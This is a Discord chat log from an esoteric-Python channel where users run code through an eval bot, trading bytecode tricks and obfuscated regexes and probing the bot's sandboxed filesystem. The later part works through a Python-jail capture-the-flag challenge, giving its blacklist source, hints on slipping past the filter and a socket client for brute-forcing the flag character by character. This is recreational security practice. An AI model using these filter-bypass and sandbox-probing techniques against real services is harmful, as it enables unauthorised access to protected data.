#esoteric-python

1 messages · Page 21 of 1

meager zinc
#

I was just being dumb

versed eagle
#

mhm
if you open stdin in write mode, you can write to it and get the output locally
but the output wouldnt be captured to the bot

meager zinc
#

yep

versed eagle
#

im sorry for arguing with you. i didnt mean to

meager zinc
#

no problem

#

I'm sorry for being confused

#

and wrong

dry mirage
#

!e

(a:=(v:=vars())[[*v][6]].__dict__, exec((lambda:'497320746869732073756666696369656e746c792065736f74657269633f').__code__.replace(co_code=bytes.fromhex(f"9700020065006501a002{'0'*40}6401a6010000ab01{'0'*16}a003{'0'*40}a6000000ab{'0'*18}a6010000ab01{'0'*16}5300"), co_names=(b:=(z:=[*a])[42],c:=z[57],d:=(e:=dir(a[c]))[42],e[38]))))
night quarryBOT
#

@dry mirage :white_check_mark: Your 3.11 eval job has completed with return code 0.

Is this sufficiently esoteric?
meager zinc
#

a, v, b, z, c, d, e

#

doesn't use variable or things like print
presumably variables and builtins

versed eagle
#

well

dry mirage
#

you can just expand those variables if you want

versed eagle
#

by that logic, can't use bytes, vars, exec, or dir

#

either

#

since they're also variables

#

names in a namespace with a value

#

really, any identifier

#

can't be used

#

if you disallow variables

flint hollow
#

i think they mean no user-defined variables

versed eagle
#

ah.

#

i misunderstood

#

sorry

meager zinc
#

I would say

#

that the best you're gonna get is

#

no variables (:= included)
no builtins

#

technically no literals is also possible

#

if you don't count a lambda literal

dry mirage
#

how do you print without builtins

meager zinc
#

you can do a similar thing that you did

#

overwrite the bytecode

dry mirage
#

still need eval or exec to run the code object though, I think

meager zinc
#

just call the lambda with the overwritten code, no?

dry mirage
#

replace isn't in-place, it returns a new code object

meager zinc
#

you could set it though

#

but you might have to use a variable then

#

hmm

rugged sparrow
#

Oops I had the wrong fd

versed eagle
#

it still works, though

#

just, it breaks stuff

#

afterwards

#
Python 3.10.7 (main, Sep  8 2022, 14:34:29) [GCC 12.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> open(0, "w").write('hello world')
hello world11
>>> 
user@snare:~$
#

it runs then exits

meager zinc
#
>>> open(0, "w").write('hello world')
hello world^C
>>> ^E
root@manjaro ~ $
#

it will hang waiting for input

#

on mine

#

it's weird

versed eagle
#

huh
for me it exits

#

actually, what version of python

#

are you using

meager zinc
#

actually lemme check

versed eagle
#

im using 3.10 because i haven't had time to install 3.11 after reinstalling my os (some network drivers decided to uninstall themselves so i had to reinstall from usb)

meager zinc
#

3.10.8

#

strange

versed eagle
#

huh

#

maybe there's an internal difference

#

between 3.10.7 and 3.10.8

meager zinc
#

maybe there's some platform dependent stuff

versed eagle
#

that might also be it

meager zinc
#

wait this is weird

#

look at repl

#

(nix based)

#

it dies

#

and that's also python 3.10.8

versed eagle
#

interesting

meager zinc
#

that's weird

versed eagle
#

try typing stuff in after it hangs waiting for input?

#

see if it still runs python

#

or if its just broken

meager zinc
#

it looks like it stops when I press enter

#

like

>>> open(0, "w").write('hello world')
hello worldh7190h4d78021g47gd8
>>> ^E
root@manjaro ~ $
#

as in an input() call

versed eagle
#

actually, i think i know why it exits

meager zinc
#

why?

#

It's also possible it's a difference between the session-based thing and normal code execution

#

Repl (NixOS)

Python 3.10.8 (main, Oct 11 2022, 11:35:05) [GCC 11.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> open(0, "w").write('hello world')
hello world11
>>>
dry mirage
#

!e

__annotations__.setdefault(0, lambda: 0)
__annotations__[0].__code__ = (lambda:'hello').__code__.replace(co_code=b'\x97\x00t\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x01\xa6\x01\x00\x00\xab\x01\x00\x00\x00\x00\x00\x00\x00\x00S\x00',co_names=('print',))
__annotations__[0]()
night quarryBOT
#

@dry mirage :white_check_mark: Your 3.11 eval job has completed with return code 0.

hello
dry mirage
#

no builtins or variables

meager zinc
#

nice

versed eagle
#
>>> open(0, "r").read()

this also exits

meager zinc
#

The other weird thing

versed eagle
#

my guess would be
overwriting the stdin causes python to read EOF somewhere later, when it asks for the next line input

#

and

#

it exits when it does that

meager zinc
#

is that a similar thing happened when using libc calls

#

yet on !e it's different

#

!e ```py
from ctypes import POINTER, c_char, util
c=import('ctypes').CDLL(util.find_library('c'))
c.fdopen.restype=POINTER(c_char)
f=c.fdopen(0,'w')
b=c.fwrite('hello',8,6,f)
print(b)

night quarryBOT
#

@meager zinc :white_check_mark: Your 3.11 eval job has completed with return code 0.

6
meager zinc
#

it's really strange

versed eagle
#

instead of using fdopen and fwrite
what about using posix.* functions

#
from posix import *
...
meager zinc
#

idk how it would work

#

!e ```py
from posix import *
f=open(0,'w')
b=f.write('hello',8,6,f)
print(b)

night quarryBOT
#

@meager zinc :x: Your 3.11 eval job has completed with return code 1.

001 | Traceback (most recent call last):
002 |   File "<string>", line 2, in <module>
003 | TypeError: open: path should be string, bytes or os.PathLike, not int
meager zinc
#

hm

#

looks like it won't let you

versed eagle
#

huh

#

it works for me

meager zinc
#

!e print(dir(__import__('posix')))

night quarryBOT
#

@meager zinc :white_check_mark: Your 3.11 eval job has completed with return code 0.

['CLD_CONTINUED', 'CLD_DUMPED', 'CLD_EXITED', 'CLD_KILLED', 'CLD_STOPPED', 'CLD_TRAPPED', 'DirEntry', 'EFD_CLOEXEC', 'EFD_NONBLOCK', 'EFD_SEMAPHORE', 'EX_CANTCREAT', 'EX_CONFIG', 'EX_DATAERR', 'EX_IOERR', 'EX_NOHOST', 'EX_NOINPUT', 'EX_NOPERM', 'EX_NOUSER', 'EX_OK', 'EX_OSERR', 'EX_OSFILE', 'EX_PROTOCOL', 'EX_SOFTWARE', 'EX_TEMPFAIL', 'EX_UNAVAILABLE', 'EX_USAGE', 'F_LOCK', 'F_OK', 'F_TEST', 'F_TLOCK', 'F_ULOCK', 'GRND_NONBLOCK', 'GRND_RANDOM', 'MFD_ALLOW_SEALING', 'MFD_CLOEXEC', 'MFD_HUGETLB', 'MFD_HUGE_16GB', 'MFD_HUGE_16MB', 'MFD_HUGE_1GB', 'MFD_HUGE_1MB', 'MFD_HUGE_256MB', 'MFD_HUGE_2GB', 'MFD_HUGE_2MB', 'MFD_HUGE_32MB', 'MFD_HUGE_512KB', 'MFD_HUGE_512MB', 'MFD_HUGE_64KB', 'MFD_HUGE_8MB', 'MFD_HUGE_MASK', 'MFD_HUGE_SHIFT', 'NGROUPS_MAX', 'O_ACCMODE', 'O_APPEND', 'O_ASYNC', 'O_CLOEXEC', 'O_CREAT', 'O_DIRECT', 'O_DIRECTORY', 'O_DSYNC', 'O_EXCL', 'O_FSYNC', 'O_LARGEFILE', 'O_NDELAY', 'O_NOATIME', 'O_NOCTTY', 'O_NOFOLLOW', 'O_NONBLOCK', 'O_PATH', 'O_RDONLY', 'O_RDWR', 'O_RSYNC', 'O_SYN
... (truncated - too long)

Full output: https://paste.pythondiscord.com/upoxociqes.txt?noredirect

versed eagle
#
>>> o = open(f"/proc/{getpid()}/fd/0", O_RDWR)
>>> o
3
>>> write(0, b"test")
test4
>>> 
#

though, that doesn't overwrite 0

#

you'd use a dup2 call to do that

meager zinc
#

random question

#

do you know why opening stdin always returns 3?

#

because it's the same on windows too

versed eagle
#

because it's the lowest unused file descriptor

meager zinc
#

oh I see

versed eagle
#

0 is stdin
1 is stdout
2 is stderr

meager zinc
#

and then it counts up

#

ahh makes sense

versed eagle
#

yep

#

if you open something else first, it'll be different

#
>>> o=open(f"/proc/{getpid()}/fd/0", O_RDWR)
>>> o
3
>>> o2=open(f"/proc/{getpid()}/fd/0", O_RDWR)
>>> o2
4
>>> 
meager zinc
#

!e ```py
from posix import*
o = open(f"/proc/{getpid()}/fd/0", O_RDWR)
write(0, b"test")

night quarryBOT
#

@meager zinc :x: Your 3.11 eval job has completed with return code 1.

001 | Traceback (most recent call last):
002 |   File "<string>", line 2, in <module>
003 | FileNotFoundError: [Errno 2] No such file or directory: '/proc/1/fd/0'
meager zinc
#

seems like snexbox causes issues

versed eagle
#

its sandboxed

#

doesn't allow access to /proc it seems

meager zinc
#

yeah

#

let's see if we can find out what it has access to

#

!e ```py
from pathlib import Path

for path in Path('/').rglob('*'):
print(path.name)

night quarryBOT
#

@meager zinc :white_check_mark: Your 3.11 eval job has completed with return code 0.

001 | usr
002 | snekbox
003 | lib64
004 | lib
005 | etc
006 | local
007 | lib
008 | bin
009 | lib
010 | python3.11
011 | python3
... (truncated - too many lines)

Full output: too long to upload

meager zinc
#

Too long to upload?!

versed eagle
#

print(path.name, end="\t")

#

it goes by line count

meager zinc
#

!e ```py
from pathlib import Path

for path in Path('/').rglob('*'):
print(path.name,end=' ')

night quarryBOT
#

@meager zinc :white_check_mark: Your 3.11 eval job has completed with return code 0.

usr snekbox lib64 lib etc local lib bin lib python3.11 python3 python python3.11 libpython3.11.so pkgconfig libpython3.so libpython3.11.so.1.0 venv pickletools.py wave.py aifc.py __future__.py idlelib tomllib _strptime.py compileall.py __pycache__ dataclasses.py config-3.11-x86_64-linux-gnu LICENSE.txt json netrc.py genericpath.py datetime.py colorsys.py random.py sysconfig.py _compression.py rlcompleter.py importlib functools.py pdb.py plistlib.py keyword.py types.py _pydecimal.py lib-dynload getpass.py decimal.py sre_compile.py _py_abc.py timeit.py telnetlib.py lzma.py gzip.py site-packages contextlib.py _bootsubprocess.py collections zoneinfo os.py enum.py shutil.py asyncio locale.py encodings _sitebuiltins.py reprlib.py shelve.py linecache.py this.py gettext.py poplib.py bisect.py smtpd.py sndhdr.py codeop.py zipapp.py tkinter multiprocessing pipes.py tabnanny.py mailcap.py zipimport.py mailbox.py concurrent smtplib.py code.py shlex.py opcode.py fnmatch.py _osx_support.py webbrowse
... (truncated - too long)

Full output: too long to upload

meager zinc
#

:/

#

!e ```py
from pathlib import Path

for path in Path('/').rglob('*'):
if not path.is_file():
print(path.name, end=' ')

night quarryBOT
#

@meager zinc :white_check_mark: Your 3.11 eval job has completed with return code 0.

usr snekbox lib64 lib etc local lib bin lib python3.11 pkgconfig venv idlelib tomllib __pycache__ config-3.11-x86_64-linux-gnu json importlib lib-dynload site-packages collections zoneinfo asyncio encodings tkinter multiprocessing concurrent unittest turtledemo urllib ctypes logging xml http __phello__ ensurepip sqlite3 lib2to3 distutils html re email dbm wsgiref xmlrpc pydoc_data curses __pycache__ scripts common posix __pycache__ Icons __pycache__ __pycache__ __pycache__ resources metadata __pycache__ __pycache__ setuptools pkg_resources wheel pip _distutils_hack setuptools-65.5.1.dist-info pip-22.3.1.dist-info wheel-0.38.4.dist-info config _distutils _vendor extern command __pycache__ _validate_pyproject __pycache__ command __pycache__ __pycache__ pyparsing importlib_resources tomli more_itertools packaging jaraco importlib_metadata __pycache__ diagram __pycache__ __pycache__ __pycache__ text __pycache__ __pycache__ __pycache__ __pycache__ _vendor extern __pycache__ pyparsing import
... (truncated - too long)

Full output: too long to upload

meager zinc
#

!e ```py
from pathlib import Path

stuff = set()
for path in Path('/').rglob('*'):
if not path.is_file() and path.name not in stuff:
print(path.name, end=' ')
stuff.add(path.name)

night quarryBOT
#

@meager zinc :white_check_mark: Your 3.11 eval job has completed with return code 0.

usr snekbox lib64 lib etc local bin python3.11 pkgconfig venv idlelib tomllib __pycache__ config-3.11-x86_64-linux-gnu json importlib lib-dynload site-packages collections zoneinfo asyncio encodings tkinter multiprocessing concurrent unittest turtledemo urllib ctypes logging xml http __phello__ ensurepip sqlite3 lib2to3 distutils html re email dbm wsgiref xmlrpc pydoc_data curses scripts common posix Icons resources metadata setuptools pkg_resources wheel pip _distutils_hack setuptools-65.5.1.dist-info pip-22.3.1.dist-info wheel-0.38.4.dist-info config _distutils _vendor extern command _validate_pyproject pyparsing importlib_resources tomli more_itertools packaging jaraco importlib_metadata diagram text cli vendored _internal distro msgpack requests pep517 certifi tenacity urllib3 webencodings distlib rich chardet pygments cachecontrol resolvelib colorama idna platformdirs in_process util packages contrib backports _securetransport formatters styles lexers filters caches compat models 
... (truncated - too long)

Full output: https://paste.pythondiscord.com/jeheqonaga.txt?noredirect

meager zinc
#

Let's go

versed eagle
#

should filter to only directories

meager zinc
#

it's fine

#

I filtered it anyways

versed eagle
#

ah

#

i forgot pathlib

#

exists

meager zinc
#

yes

#

very object oriented

#

looks to me like we still somehow have access to most of the system

rugged owl
meager zinc
#

hi

rugged owl
#

Hello 👋

meager zinc
#

!e ```py
from pathlib import Path

for path in Path('/').glob('*'):
if not path.is_file():
print(path.name, end=' ')

night quarryBOT
#

@meager zinc :white_check_mark: Your 3.11 eval job has completed with return code 0.

usr snekbox lib64 lib etc 
meager zinc
#

that's everything in the root directory

#

so no proc and missing most of the typical linux directories

versed eagle
#

sad

meager zinc
#

or I could've googled it

#

and used

#

!e ```py
import os
print(os.listdir('/'))

night quarryBOT
#

@meager zinc :white_check_mark: Your 3.11 eval job has completed with return code 0.

['usr', 'snekbox', 'lib64', 'lib', 'etc']
flint hollow
#

@mossy plume i think these two are the same, but you could get a lot worse:

x = re.compile(r"\b((lo|wu)ve?(s|lie|lies)?|heart)\b")
y = re.compile(r"\b(((l)o|wu)v(e)?((s)|(\3i\4)|\7\6)?|h\4art)\b")
mossy plume
flint hollow
#

you can't have backreferences to non-capturing groups 😭

flint hollow
# mossy plume > but you could get a lot worse: _get to work then_

i'm not actually sure it can get worse, doggo. I was gonna do

(?:q)(?:w)(?:e)(?:r)(?:t)(?:y)(?:u)(?:i)(?:o)(?:p)(?:a)(?:s)(?:d)(?:f)(?:g)(?:h)(?:j)(?:k)(?:l)(?:z)(?:x)(?:c)(?:v)(?:b)(?:n)(?:m)((\g<19>\9|\2\7)\g<23>\3?(\g<12>|(\g<19>\8\3)|\g<27>\g<12>)?|\g<16>\3\g<11>\4\5)
``` with the capturing section as
```py
((\g<19>\9|\2\7)\g<23>\3?(\g<12>|(\g<19>\8\3)|\g<27>\g<12>)?|\g<16>\3\g<11>\4\5)
``` but that's not possible as it turns out
mossy plume
low lynx
#

what's the problem here?

flint hollow
#

attempts at esoteric-regex

flint hollow
#

too bad non-matching groups don't exist

versed eagle
#

what about using
lookaheads

#

and lookbehinds

low lynx
flint hollow
#

they certainly complicate things, but i can't see how they could help, especially as you can't attach ? to them

low lynx
#

!e

print(__import__('re').match(r'a(?=a)(?=a)(?=a)(?=a)(?=a)(?=a)(?=a)(?=a)(?=a)(?=a)a', 'aa'))
night quarryBOT
#

@low lynx :white_check_mark: Your 3.11 eval job has completed with return code 0.

<re.Match object; span=(0, 2), match='aa'>
meager zinc
#

what do we mean by esoteric regexes here?

flint hollow
#

same as esoteric python. taking normal regex and making them even less readable

meager zinc
#

ah I see

flint hollow
#

numbered backreferences are very good for that purpose but they require stuff to appear more than once. if your text has no repeated letters, they can't be used. although named backreferences can, and they complicate things as well

low lynx
#

give your references names that look like normal regex stuff

meager zinc
#

just add a bunch of unused inline localized modifiers

#

to every group

#

enable the x flag so you can add comments (that have regex code) and also have to escape spaces

#

always add start of string and end of string

#

use an or statement with the same code on both sides but it looks different

#

because you used a named reference

flint hollow
#

yall are devious

low lynx
#

!e

import re
print(re.match(r'((?!a)a)?(?P<a>a)(?>(?a:(?<=aa)a)(?!a)(?=a)a)*(?=(?#aaa)a)(?(1)|a)', 'aa'))
night quarryBOT
#

@low lynx :white_check_mark: Your 3.11 eval job has completed with return code 0.

<re.Match object; span=(0, 2), match='aa'>
meager zinc
#

perfect

#

with the named group a

low lynx
#

that should be the same regex as just aa

meager zinc
#

lol nice

#

!e ```py
import re
print(re.match(r'((?!аа?(?P<a>а(?>(?a:(?<=aаа(?!а(?=аа*(?=(?#aaаа(?(1)|а'.replace('а', 'a)'),'aa'))

night quarryBOT
#

@meager zinc :white_check_mark: Your 3.11 eval job has completed with return code 0.

<re.Match object; span=(0, 2), match='aa'>
meager zinc
#

!e ```py
import re
print(re.match(r'aa𝚊!аа𝚊a𝚊P<a>аa𝚊>a𝚊a:a𝚊<=aааa𝚊!аa𝚊=аа*a𝚊=a𝚊#aaааa𝚊a1)|а'.replace('a','(').replace('𝚊','?').replace('а', 'a)'),'aa'))

night quarryBOT
#

@meager zinc :white_check_mark: Your 3.11 eval job has completed with return code 0.

<re.Match object; span=(0, 2), match='aa'>
meager zinc
#

ok im done

low lynx
#

!e

import re
print(re.match(''.join(map(dict(zip('àáâäæãåāaаǻḁɑą̃ⱥ‍‍',']#:a[P*|<^)!>?1=(')).get,'‍‍ąḁäǻäǻą‍ąãaäɑäǻ‍ąɑ‍ąäâ‍ąaⱥääǻäǻ‍ąⱥæаäàǻ‍ąⱥäǻäǻå‍ąⱥ‍ąáäääǻäǻ‍ą‍̃ǻāäǻ')),'aa'))
night quarryBOT
#

@low lynx :white_check_mark: Your 3.11 eval job has completed with return code 0.

<re.Match object; span=(0, 2), match='aa'>
coarse void
#

!e py print(2**100 is 2**100) print(1267650600228229401496703205376 is 1267650600228229401496703205376)

night quarryBOT
#

@coarse void :white_check_mark: Your 3.11 eval job has completed with return code 0.

001 | <string>:2: SyntaxWarning: "is" with a literal. Did you mean "=="?
002 | False
003 | True
coarse void
#

How?

low lynx
#

probably just that 2*100 isn't optimized by the compiler and so it'll evaluate the expression at runtime

#

and so you aren't guaranteed the same objects

golden finch
quartz wave
#

if x is 2 and y is 100 then len(bin(x)) - 2 is 2 but 128 / y is 1.28
2 <= 1.28 is obviously False so no constant folding here that can allow for is comparisons

winter cave
#

!e print(55**55)

night quarryBOT
#

@winter cave :white_check_mark: Your 3.11 eval job has completed with return code 0.

524744532468751923546122657597368049278513737089035272057324643668607677682302892208099365234375
zenith geode
#

!e print(555555)

night quarryBOT
#

@zenith geode :white_check_mark: Your 3.11 eval job has completed with return code 0.

166375
zenith geode
#

!e print(55**55**55)

night quarryBOT
#

@zenith geode :warning: Your 3.11 eval job timed out or ran out of memory.

[No output]
grand urchin
#

This is pretty simple, but I thought it was pretty neat.

I imagine this would be part of a larger technique.

I used it to surgically add gzip-support to .ipynb

#!/bin/zsh

find_python_target() {
    script=$(env target="$1" envsubst <<< $'
        #!/usr/bin/env python3
        ${target}
        from inspect import getfile
        print(getfile(target))
    ' | sed -r 's/^[ ]{8}//')
    typeset -a bwrap_flags=(
        --ro-bind / /
        --tmpfs /tmp
        --ro-bind-data '<(<<< "$script" )(:t)' /tmp/script.py
    )
    bwrap_cmd="bwrap ${(@)bwrap_flags} /usr/bin/env python /tmp/script.py"
    eval "$bwrap_cmd"
}

typeset -A replace_targets=(
    fileio_js fileio.py
    fileio_nb fileio.py
)
typeset -A replace_imports=(
    fileio_js 'from jupyter_server.services.contents import fileio as target'
    fileio_nb 'from notebook.services.contents import fileio as target'
)

typeset -A replace_files=()
for tgt imp in "${(@kv)replace_imports}"; do
    loc="$(find_python_target "$imp" )"
    replace_files[$loc]="${replace_targets[$tgt]}"
done
typeset -a replace_dirs=()
for fil in "${(@k)replace_files}"; do
    replace_dirs+=( "$(dirname "$fil" )" )
done
replace_dirs=( "${(@u)replace_dirs}" )

typeset -a bwrap_flags=(
    --die-with-parent
    --ro-bind / /
    --tmpfs /tmp
    --bind home ~
    --chdir ~
    --dev-bind /dev /dev
    --proc /proc
)
for d in "${(@)replace_dirs}"; do
    bwrap_flags+=( --tmpfs "$d" )
    for f ( "$d"/* ) if (( ${${(k)replace_files}[(Ie)$f]} )); then
        bwrap_flags+=( --ro-bind "${replace_files[$f]}" "$f" )
    elif [[ "$(basename "$f")" == __pycache__ ]]; then
    else
        bwrap_flags+=( --ro-bind "$f" "$f" )
    fi
done

bwrap_cmd="bwrap ${(@)bwrap_flags} $@"
eval exec $bwrap_cmd
grand urchin
# grand urchin This is pretty simple, but I thought it was pretty neat. I imagine this would b...

The ease of constructing something like this—the script too me ~30 min to write—strongly suggests to me that bwrap (https://github.com/containers/bubblewrap) is a more fundamental tool than we expect and that this functionality should probably be available directly from the shell.

GitHub

Unprivileged sandboxing tool. Contribute to containers/bubblewrap development by creating an account on GitHub.

grand urchin
grand urchin
# grand urchin Well, basically, if you want to (monkey-)patch a module, there are a variety of ...

But there are practical limitations to this when we talk not about Python libraries but about Python applications.

I imagine that, if you needed to do a very surgical patching of a production system, perhaps for validation of a surgical hot-fix, you may actually need to have a very light hand. You may need to intercept prior to the start of the interpreter.

So this gives you a technique for these kinds of changes, which would likely be combined with traditional approaches.

grand urchin
versed eagle
#

prior to the start of the interpreter
so, editing the source code?

grand urchin
quartz wave
#

this is only for linux right

grand urchin
versed eagle
#

in what case would this be practical?
i dont see any situation where things cant be accomplished in easier ways

grand urchin
grand urchin
versed eagle
#

im not trying to insult or put down the idea- im genuinely curious what you're using this for

#

though we should probably move to an off-topic channel

#

since this isn't esoteric python

grand urchin
versed eagle
#

!ot

night quarryBOT
versed eagle
#

lets go there

grand urchin
# grand urchin I'm just being facetious. This particular hack was to enable a quick demo of so...

I spent a lot of time years back figuring out how to monkey-patch Python programmes to circumvent code signing techniques, as part of some work I was doing to create secured Python interpreters that could only run signed code.

The typical techniques—all the many ways to mutate tuple—are themselves not very useful or interesting (after all, why even bother?) but come together in interesting ways to guide how you might lock down an interpreter in a secure environment.

grand urchin
rugged sparrow
#

@quartz wave take a look ^

#
#!/usr/bin/env python3
import re

with open("./flag.txt") as f:
    FLAG = f.read().strip()

BLACKLIST = '"%&\',-/_:;@\\`{|}~*<=>[] \t\n\r\x0b\x0c'

OPEN_LIST = '('
CLOSE_LIST = ')'

def check_balanced(s):
    stack = []
    for i in s:
        if i in OPEN_LIST:
            stack.append(i)
        elif i in CLOSE_LIST:
            pos = CLOSE_LIST.index(i)
            if ((len(stack) > 0) and
                    (OPEN_LIST[pos] == stack[len(stack)-1])):
                stack.pop()
            else:
                return stack
    return stack

def check(s):
    if re.match(r"[a-zA-Z]{4}", inp):
        print("You return home.")
    elif len(set(re.findall(r"[\W]", inp))) > 4:
        print(set(re.findall(r"[\W]", inp)))
        print("A single man cannot bear the weight of all those special characters. You return home.")
    else:
        return all(ord(x) < 0x7f for x in s) and all(x not in s for x in BLACKLIST) and check_balanced(s)

def safe_eval(s, func):
    if not check(s):
        print("\U0001F6B6" + "\U0001F6B6" + "\U0001F6B6")
    else:
        try:
            print(eval(f"{func.__name__}({s})", {"__builtins__": {func.__name__: func}, "flag": FLAG}))
        except:
            print("Error")

if __name__ == "__main__":
    while True:
        inp = input("Input : ")
        safe_eval(inp, type)
``` you interact with this program over the network
versed eagle
#

wdym "exfiltrate"

#

my english is bad

rugged sparrow
#

you are trying to get the value of FLAG

versed eagle
#

ah

rugged sparrow
#

I spent a few hours on it, had to think outside the box to solve it

#

Im also pretty sure I solved it "wrong" but it worked

#

if anyone takes a shot at it, feel free to ping me if you want pointers

#

@dry mirage ^ you also might think this is cool

versed eagle
#

i read that as type(type)

#

since type of type is type

#

though i could be misunderstanding

rugged sparrow
dry mirage
rugged sparrow
#

use nc (ip) (port)

#

you can also use socket to connect with python

versed eagle
#

netcat my beloved

rugged sparrow
versed eagle
#

maybe
it said i have to make an account to do the thingy and i cant do that until i get home because it's refusing to work on my phone for some reason

#

¯_(ツ)_/¯

rugged sparrow
#

fair enough

unique heath
#

!py

from fishhook import hook
email = "email"
address = "gmail.com"

@hook(str)
def __matmul__(self, other):
    return self + "@" + other

print(email@address)```
#

!e

from fishhook import hook
email = "email"
address = "gmail.com"

@hook(str)
def __matmul__(self, other):
    return self + "@" + other

print(email@address)```
night quarryBOT
#

@unique heath :white_check_mark: Your 3.11 eval job has completed with return code 0.

email@gmail.com
unique heath
#

lmfao

rugged sparrow
#

!e ```py
import sys

sentinel = object()

class Site:
def init(self, name, orig):
self.name = name
self.orig = orig
def getattr(self, _):
del globals()[self.name]
if self.orig is not sentinel:
globals()[self.name] = self.orig

class EmailMeta(type):
def getattr(cls, usr):
frame = sys.getframe(1)
f_code = frame.f_code
instr = frame.f_lasti + 2
site, ext, *
= map(
f_code.co_names.getitem,
f_code.co_code[instr+1:instr+4:2]
)
orig = globals().get(site, sentinel)
globals()[site] = Site(site, orig)
return cls(usr, site, ext)

class email(metaclass=EmailMeta):
def init(self, usr, site, ext):
self.usr, self.site, self.ext = usr, site, ext

def __matmul__(self, _):
    return self

def __repr__(self):
    return f'{self.usr}@{self.site}.{self.ext}'

print(email.example@example.com)```

night quarryBOT
#

@rugged sparrow :white_check_mark: Your 3.10 eval job has completed with return code 0.

example@example.com
rugged sparrow
#

it works in 3.10 (old code)

dry mirage
#

not sure what else to do 😔

#

do I need to mutate inp in some way

#

I though about creating a type so type would print the class name but I can't use commas for 3 arg type()

grand urchin
# rugged sparrow it works in 3.10 (old code)

!e

from __future__ import annotations
from collections import namedtuple
from ast import parse

class Email(namedtuple('Email', 'user domain tld')):
    @classmethod
    def from_annotation(cls, annot):
        x = parse(annot).body[0].value
        return cls(x.left.id, x.right.value.id, x.right.attr)
    def __str__(self): # not __repr__!
        return f'{self.user}@{self.domain}.{self.tld}'

email:example@example.com

x = Email.from_annotation(__annotations__['email'])
print(f'{x = !s}')
night quarryBOT
#

@grand urchin :white_check_mark: Your 3.11 eval job has completed with return code 0.

x = example@example.com
rugged sparrow
#

you can send input to the remote server using nc or with socket

rugged sparrow
#

the goal is to get the value of the flag

quartz wave
quartz wave
# rugged sparrow !e ```py import sys sentinel = object() class Site: def __init__(self, nam...

!e in 3.11 you just have to account for the number CACHEs ```py
import sys
import opcode

sentinel = object()

class Site:
def init(self, name, orig):
self.name = name
self.orig = orig
def getattr(self, _):
del globals()[self.name]
if self.orig is not sentinel:
globals()[self.name] = self.orig

class EmailMeta(type):
def getattr(cls, usr):
frame = sys._getframe(1)
f_code = frame.f_code
instr = frame.f_lasti
instr += opcode.inline_cache_entries[f_code.co_code[instr]] * 2 + 2
site, ext, *
= map(
f_code.co_names.getitem,
f_code.co_code[instr+1:instr+4:2]
)
orig = globals().get(site, sentinel)
globals()[site] = Site(site, orig)
return cls(usr, site, ext)

class email(metaclass=EmailMeta):
def init(self, usr, site, ext):
self.usr, self.site, self.ext = usr, site, ext
def matmul(self, _):
return self
def repr(self):
return f'{self.usr}@{self.site}.{self.ext}'

print(email.example@example.com)

night quarryBOT
#

@quartz wave :white_check_mark: Your 3.11 eval job has completed with return code 0.

example@example.com
rugged sparrow
#
import socket
HTB_Host = '<ip>'
HTB_Port = <port>

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HTB_Host, HTB_Port))
while True:
  print(s.recv(1024).decode(), end='')
  s.sendall(input().encode() + b'\n')
``` @quartz wave  this works as a repl for the remote server
quartz wave
#

ok

old socket
#

Is it "safer" to use AST over bytecode maintainability wise

rugged sparrow
# quartz wave ok

at that point your input is sent to the remote program as regular input

old socket
#

I know with syntax changes the AST will change but I know people @ python are very hesitant to change the syntax in a breaking way

quartz wave
#

nvm i figured it out

rugged sparrow
dry mirage
quartz wave
#

what are these box characters

rugged sparrow
#

it prints some emojis, they are not important

rugged sparrow
dry mirage
#

I briefly thought about that but figured there would be some way to get it all in one go

#

hm

rugged sparrow
quartz wave
#

so i figured out how to pass the check() function but not how to actually solve the thing

grand urchin
rugged sparrow
rugged sparrow
grand urchin
quartz wave
#

oh wow i can use tuples

grand urchin
quartz wave
rugged sparrow
#

i didn't think that single quotes were available

quartz wave
#

i forgot to exclude the start of the string from the REPL output

#

fixed

rugged sparrow
#

ah

#

then yea that is the correct set of available input characters

quartz wave
#

so i can do addition and bitwise xor

rugged sparrow
#

yea

#

and your output is always type(<your input code>)

#

or Error if there is an exception

quartz wave
#

there's only like 3 names available in the namespace but none of them are allowed to be referenced by check()

rugged sparrow
quartz wave
#

i can do attribute access but that's not useful atm since all the attributes from the objects i have are like 4+ characters long

quartz wave
rugged sparrow
#

!e py import re print(re.match(r"[a-zA-Z]{4}", 'I would play around with this to see what slips past'))

night quarryBOT
#

@rugged sparrow :white_check_mark: Your 3.11 eval job has completed with return code 0.

None
quartz wave
#

ok i managed to access str

rugged sparrow
#

nice

quartz wave
#

but idk what to do now

rugged sparrow
#

how did you access str

quartz wave
#

oh i have len() available

#

nvm

#

it's an error

quartz wave
#

not actually the types themselves but their objects

rugged sparrow
#

You should double check your assumption about accessing those names in the namespace

quartz wave
#

it's .match() not .search()

rugged sparrow
#

Yup

quartz wave
#

ok i found out how to access the 2 names

rugged sparrow
#

Nice

#

The rest is just thinking creatively on how to get the flag

#

@dry mirage did the hint help?

quartz wave
#

actually the last character

rugged sparrow
#

You're on the right track

#

|| you can bruteforce faster by using s.sendall and s.recv ||

rugged sparrow
quartz wave
rugged sparrow
#

like what did your input look like

quartz wave
rugged sparrow
#

oh that is way better than my strategy

quartz wave
#

well the problem is i don't know how to get the rest

rugged sparrow
#

.pop() takes an index

quartz wave
#

oh

#

nice

rugged sparrow
#

|| i would write a script to automate it ||

quartz wave
#

ok it seems like my flag is length 35

rugged sparrow
#

yea that sounds right

rugged sparrow
quartz wave
#

i'm getting it

#

so first 3 characters are HTB correct?

rugged sparrow
#

yea

quartz wave
#

one by one it's going

rugged sparrow
#

yea its slow going to bruteforce but im pretty sure thats the only way to get it

quartz wave
#

halfway there

rugged sparrow
quartz wave
#

before i was using range(128)

rugged sparrow
#

|| for future reference, I am pretty sure most HTB flags have this charset chars = '${}@!_abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789' ||

quartz wave
#

but i don't see any lowercase characters

rugged sparrow
#

yea thats my set that I use for all of the HTB stuff

quartz wave
#

i got it

rugged sparrow
#

|| this flag actually doesnt have any lowercase ||

rugged sparrow
quartz wave
#

yep

rugged sparrow
#

@versed eagle did you end up trying to solve the challenge?

versed eagle
#

I'm still not home yet but I will 👍

rugged sparrow
#

@quartz wave || when I solved it earlier, I didn't think about using type.mro to get a list, so i did it with str.index and used the error as my other possible value ```py
